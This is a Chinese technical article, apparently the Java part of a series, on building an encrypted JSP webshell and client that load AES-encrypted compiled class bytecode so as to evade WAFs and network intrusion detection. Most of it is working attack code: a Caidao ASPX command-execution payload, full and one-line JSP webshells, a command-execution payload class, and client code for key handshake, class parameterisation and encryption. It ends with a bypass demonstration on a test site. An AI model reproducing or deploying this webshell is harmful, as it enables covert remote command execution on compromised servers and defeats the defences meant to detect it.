概述
本系列文章重写了java、.net、php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。
本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是:
利用动态二进制加密实现新型一句话木马之Java篇
利用动态二进制加密实现新型一句话木马之.net篇
利用动态二进制加密实现新型一句话木马之php篇
利用动态二进制加密实现新型一句话木马之客户端下载及功能介绍
前言
一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,因其体积小、隐蔽性强、功能强大等特点,被广泛应用于渗透过程中。最初的一句话木马真的只有一句话,比如eval(request(“cmd”)),后续为了躲避查杀,出现了很多变形。无论怎么变形,其本质都是用有限的尽可能少的字节数,来实现无限的可任意扩展的功能。
一句话木马从最早的<%execute(request(“cmd”))%>到现在,也有快二十年的历史了。客户端工具也从最简单的一个html页面发展到现在的各种GUI工具。但是近些年友军也没闲着,涌现出了各种防护系统,这些防护系统主要分为两类:一类是基于主机的,如Host based IDS、安全狗、D盾等,基于主机的防护系统主要是通过对服务器上的文件进行特征码检测;另一类是基于网络流量的,如各种云WAF、各种商业级硬件WAF、网络防火墙、Net Based IDS等,基于网络的防护设备其检测原理是对传输的流量数据进行特征检测,目前绝大多数商业级的防护设备皆属于此种类型。一旦目标网络部署了基于网络的防护设备,我们常用的一句话木马客户端在向服务器发送Payload时就会被拦截,这也就导致了有些场景下会出现一句话虽然已经成功上传,但是却无法连接的情况。
理论篇
为什么会被拦截
在讨论怎么绕过之前,先分析一下我们的一句话客户端发送的请求会被拦截?
我们以菜刀为例,来看一下payload的特征,如下为aspx的命令执行的payload:
Payload如下:
caidao=Response.Write("->|");
var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
可以看到,虽然关键的代码采用了base64编码,但是payload中扔有多个明显的特征,比如有eval关键词,有Convert.FromBase64String,有三个参数,参数名为caidao(密码字段)、z1、z2,参数值有base64编码。针对这些特征很容易写出对应的防护规则,比如:POST请求中有Convert.FromBase64String关键字,有z1和z2参数,z1参数值为4个字符,z2参数值为base64编码字符。
被动的反抗
当然这种很low的规则,绕过也会很容易,攻击者只要自定义自己的payload即可绕过,比如把参数改下名字即可,把z1,z2改成z9和z10。不过攻击者几天后可能会发现z9和z10也被加到规则里面去了。再比如攻击者采用多种组合编码方式进行编码,对payload进行加密等等,不过对方的规则也在不断的更新,不断识别关键的编码函数名称、加解密函数名称,并加入到规则里面。于是攻击者和防御者展开了长期的较量,不停的变换着各种姿势……
釜底抽薪
其实防御者之所以能不停的去更新自己的规则,主要是因为两个原因:1.攻击者发送的请求都是脚本源代码,无论怎么样编码,仍然是服务器端解析引擎可以解析的源代码,是基于文本的,防御者能看懂。2.攻击者执行多次相同的操作,发送的请求数据也是相同的,防御者就可以把他看懂的请求找出特征固化为规则。
试想一下,如果攻击者发送的请求不是文本格式的源代码,而是编译之后的字节码(比如java环境下直接向服务器端发送class二进制文件),字节码是一堆二进制数据流,不存在参数;攻击者把二进制字节码进行加密,防御者看到的就是一堆加了密的二进制数据流;攻击者多次执行同样的操作,采用不同的密钥加密,即使是同样的payload,防御者看到的请求数据也不一样,这样防御者便无法通过流量分析来提取规则。
SO,这就是我们可以一劳永逸绕过waf的思路,具体流程如下:
- 首次连接一句话服务端时,客户端首先向服务器端发起一个GET请求,服务器端随机产生一个128位的密钥,把密钥回显给客户端,同时把密钥写进服务器侧的Session中。
- 客户端获取密钥后,对本地的二进制payload先进行AES加密,再通过POST方式发送至服务器端。
- 服务器收到数据后,从Session中取出秘钥,进行AES解密,解密之后得到二进制payload数据。
- 服务器解析二进制payload文件,执行任意代码,并将执行结果加密返回。
- 客户端解密服务器端返回的结果。
如下为执行流程图:
实现篇
服务端实现
想要直接解析已经编译好的二进制字节流,实现我们的绕过思路,现有的Java一句话木马无法满足我们的需求,因此我们首先需要打造一个新型一句话木马:
1. 服务器端动态解析二进制class文件:
首先要让服务端有动态地将字节流解析成Class的能力,这是基础。
正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,方法原型如下:
因为该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。
下面我们写个demo来测试一下:
package net.rebeyond;
import sun.misc.BASE64Decoder;
public class Demo {
public static class Myloader extends ClassLoader //继承ClassLoader
{
public Class get(byte[] b)
{
return super.defineClass(b, 0, b.length);
}
}
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
String classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMbmV0L3JlYmV5b25kL1JlYmV5b25kOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAA1SZWJleW9uZC5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw==";
BASE64Decoder code=new sun.misc.BASE64Decoder();
Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
System.out.println(result.newInstance().toString());
}
}
上面代码中的classStr变量的值就是如下这个类编译之后的class文件的base64编码:
package net.rebeyond;
import java.io.IOException;
public class Payload {
@Override
public String toString() {
// TODO Auto-generated method stub
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return "OK";
}
}
简单解释一下上述代码:
- 首先自定义一个类Myloader,并继承classloader父类,然后自定义一个名为get的方法,该方法接收byte数组类型的参数,然后调用父类的defineClass方法去解析byte数据,并返回解析后的Class。
- 单独编写一个Payload类,并实现toString方法。因为我们想要我们的服务端尽可能的短小精悍,所以我们定义的Payload类即为默认的Object的子类,没有额外定义其他方法,因此只能借用Object类的几个默认方法,由于我们执行payload之后还要拿到执行结果,所以我们选择可以返回String类型的toString方法。把这个类编译成Payload.class文件。
- main函数中classStr变量为上述Payload.class文件二进制流的base64编码。
- 新建一个Myloader的实例,将classStr解码为二进制字节流,并传入Myloader实例的get方法,得到一个Class类型的实例result,此时result即为Payload.class(注意此处的Payload.class不是上文的那个二进制文件,而是Payload这个类的class属性)。
- 调用result类的默认无参构造器newInstance()生成一个Payload类的实例,然后调用该实例的toString方法,继而执行toString方法中的代码:Runtime.getRuntime().exec("calc.exe");return “OK”
- 在控制台打印出toString方法的返回值。
OK,代码解释完了,下面尝试执行Demo类,成功弹出计算器,并打印出“OK”字符串,如下图:
到此,我们就可以直接动态解析并执行编译好的class字节流了。
2.生成密钥:
首先检测请求方式,如果是带了密码字段的GET请求,则随机产生一个128位的密钥,并将密钥写进Session中,然后通过response发送给客户端,代码如下:
if (request.getMethod().equalsIgnoreCase("get")) {
String k = UUID.randomUUID().toString().replace("-","").substring(0, 16);
request.getSession().setAttribute("uid", k);
out.println(k);
return;
}
这样,后续发送payload的时候只需要发送加密后的二进制流,无需发送密钥即可在服务端解密,这时候waf捕捉到的只是一堆毫无意义的二进制数据流。
3.解密数据,执行:
当客户端请求方式为POST时,服务器先从request中取出加密过的二进制数据(base64格式),代码如下:
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES"));
new Myloader().get(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().toString();
4.改进一下
前面提到,我们是通过重写Object类的toString方法来作为我们的Payload执行入口,这样的好处是我们可以取到Payload的返回值并输出到页面,但是缺点也很明显:在toString方法内部没办法访问Request、Response、Seesion等servlet相关对象。所以需要找一个带有入参的方法,并且能把Request、Response、Seesion等servlet相关对象传递进去。
重新翻看了一下Object类的方法列表:
可以看到equals方法完美符合我们的要求,有入参,而且入参是Object类,在Java世界中,Object类是所有类的基类,所以我们可以传递任何类型的对象进去。
方法找到了,下面看我们要怎么把servlet的内置对象传进去呢?传谁呢?
JSP有9个内置对象:
但是equals方法只接受一个参数,通过对这9个对象分析发现,只要传递pageContext进去,便可以间接获取Request、Response、Seesion等对象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();
另外,如果想要顺利的在equals中调用Request、Response、Seesion这几个对象,还需要考虑一个问题,那就是ClassLoader的问题。JVM是通过ClassLoader+类路径来标识一个类的唯一性的。我们通过调用自定义ClassLoader来defineClass出来的类与Request、Response、Seesion这些类的ClassLoader不是同一个,所以在equals中访问这些类会出现java.lang.ClassNotFoundException异常。
解决方法就是复写ClassLoader的如下构造函数,传递一个指定的ClassLoader实例进去:
5.完整代码:
<%@ page
import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
<%!
/*
定义ClassLoader的子类Myloader
*/
public static class Myloader extends ClassLoader {
public Myloader(ClassLoader c)
{super(c);}
public Class get(byte[] b) { //定义get方法用来将指定的byte[]传给父类的defineClass
return super.defineClass(b, 0, b.length);
}
}
%>
<%
if (request.getParameter("pass")!=null) { //判断请求方法是不是带密码的握手请求,此处只用参数名作为密码,参数值可以任意指定
String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16); //随机生成一个16字节的密钥
request.getSession().setAttribute("uid", k); //将密钥写入当前会话的Session中
out.print(k); //将密钥发送给客户端
return; //执行流返回,握手请求时,只产生密钥,后续的代码不再执行
}
/*
当请求为非握手请求时,执行下面的分支,准备解密数据并执行
*/
String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload
Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload进行base64解码
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件
c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //从Session中取出密钥
Byte[] classData= c.doFinal(encryptedData); //AES解密操作
Object myLoader= new Myloader().get(classData).newInstance(); //通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化
String result= myLoader.equals(pageContext); //调用payload class的equals方法,我们在准备payload class的时候,将想要执行的目标代码封装到equals方法中即可,将执行结果通过equals中利用response对象返回。
%>
为了增加可读性,我对上述代码做了一些扩充,简化一下就是下面这一行:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
现在网络上流传的菜刀jsp一句话木马要7000多个字节,我们这个全功能版本只有611个字节,当然如果只去掉动态加密而只实现传统一句话木马的功能的话,可以精简成319个字节,如下:
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null)new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);%>
至此,我们的具有动态解密功能的、能解析执行任意二进制流的新型一句话木马就完成了。
客户端实现
1.远程获取加密密钥:
客户端在运行时,首先以GET请求携带密码字段向服务器发起握手请求,获取此次会话的加密密钥和cookie值。加密密钥用来对后续发送的Payload进行AES加密;上文我们说到服务器端随机产生密钥之后会存到当前Session中,同时会以set-cookie的形式给客户端一个SessionID,客户端获取密钥的同时也要获取该cookie值,用来标识客户端身份,服务器端后续可以通过客户端传来的cookie值中的sessionId来从Session中取出该客户端对应的密钥进行解密操作。关键代码如下:
public static Map<String, String> getKeyAndCookie(String getUrl) throws Exception {
Map<String, String> result = new HashMap<String, String>();
StringBuffer sb = new StringBuffer();
InputStreamReader isr = null;
BufferedReader br = null;
URL url = new URL(getUrl);
URLConnection urlConnection = url.openConnection();
String cookieValue = urlConnection.getHeaderField("Set-Cookie");
result.put("cookie", cookieValue);
isr = new InputStreamReader(urlConnection.getInputStream());
br = new BufferedReader(isr);
String line;
while ((line = br.readLine()) != null) {
sb.append(line);
}
br.close();
result.put("key", sb.toString());
return result;
}
2.动态生成class字节数组:
我们只需要把payload的类写好一起打包进客户端jar包,然后通过ASM框架从jar包中以字节流的形式取出class文件即可,如下是一个执行系统命令的payload类的代码示例:
public class Cmd {
public static String cmd;
@Override
public boolean equals(Object obj) {
// TODO Auto-generated method stub
PageContext page = (PageContext) obj;
page.getResponse().setCharacterEncoding("UTF-8");
Charset osCharset=Charset.forName(System.getProperty("sun.jnu.encoding"));
try {
String result = "";
if (cmd != null && cmd.length() > 0) {
Process p;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
p = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", cmd });
} else {
p = Runtime.getRuntime().exec(cmd);
}
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
String disr = br.readLine();
while (disr != null) {
result = result + disr + "
";
disr = br.readLine();
}
result = new String(result.getBytes(osCharset));
page.getOut().write(result.trim());
}
} catch (Exception e) {
try {
page.getOut().write(e.getMessage());
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
return true;
}
3.已编译类的参数化:
上述示例中需要执行的命令是硬编码在class文件中的,因为class是已编译好的文件,我们总不能每执行一条命令就重新编译一次payload。那么怎么样让Payload接收我们的自定义参数呢?直接在Payload中用request.getParameter来取?当然不行,因为为了避免被waf拦截,我们淘汰了request参数传递的方式,我们的request body就是一堆二进制流,没有任何参数。在服务器侧取参数不可行,那就从客户端侧入手,在发送class字节流之前,先对class进行参数化,在不需要重新编译的情况下向class文件中注入我们的自定义参数,这是比较关键的一步。这里我们要使用ASM框架来动态修改class文件中的属性值,关键代码如下:
public static byte[] getParamedClass(String clsName,final Map<String,String> params) throws Exception
{
byte[] result;
ClassReader classReader = new ClassReader(clsName);
final ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
classReader.accept(new ClassAdapter(cw) {
@Override
public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
// TODO Auto-generated method stub
if (params.containsKey(filedName))
{
String paramValue=params.get(filedName);
return super.visitField(arg0, filedName, arg2, arg3, paramValue);
}
return super.visitField(arg0, filedName, arg2, arg3, arg4);
}},0);
result=cw.toByteArray();
return result;
}
我们只需要向getParamedClass方法传递payload类名、参数列表即可获得经过参数化的payload class。
4.加密payload:
利用步骤1中获取的密钥对payload进行AES加密,然后进行Base64编码,代码如下:
public static String getData(String key,String className,Map<String,String> params) throws Exception
{
byte[] bincls=Params.getParamedClass(className, params);
byte[] encrypedBincls=Decrypt.Encrypt(bincls,key);
String basedEncryBincls=Base64.getEncoder().encodeToString(encrypedBincls);
return basedEncryBincls;
}
5.发送payload,接收执行结果并解密:
Payload加密之后,带cookie以POST方式发送至服务器端,并将执行结果取回,如果结果是加密的,则进行AES解密。
案例演示
下面我找了一个测试站点来演示一下绕过防御系统的效果:
首先我上传一个常规的jsp一句话木马:
然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:
然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统:
本篇完。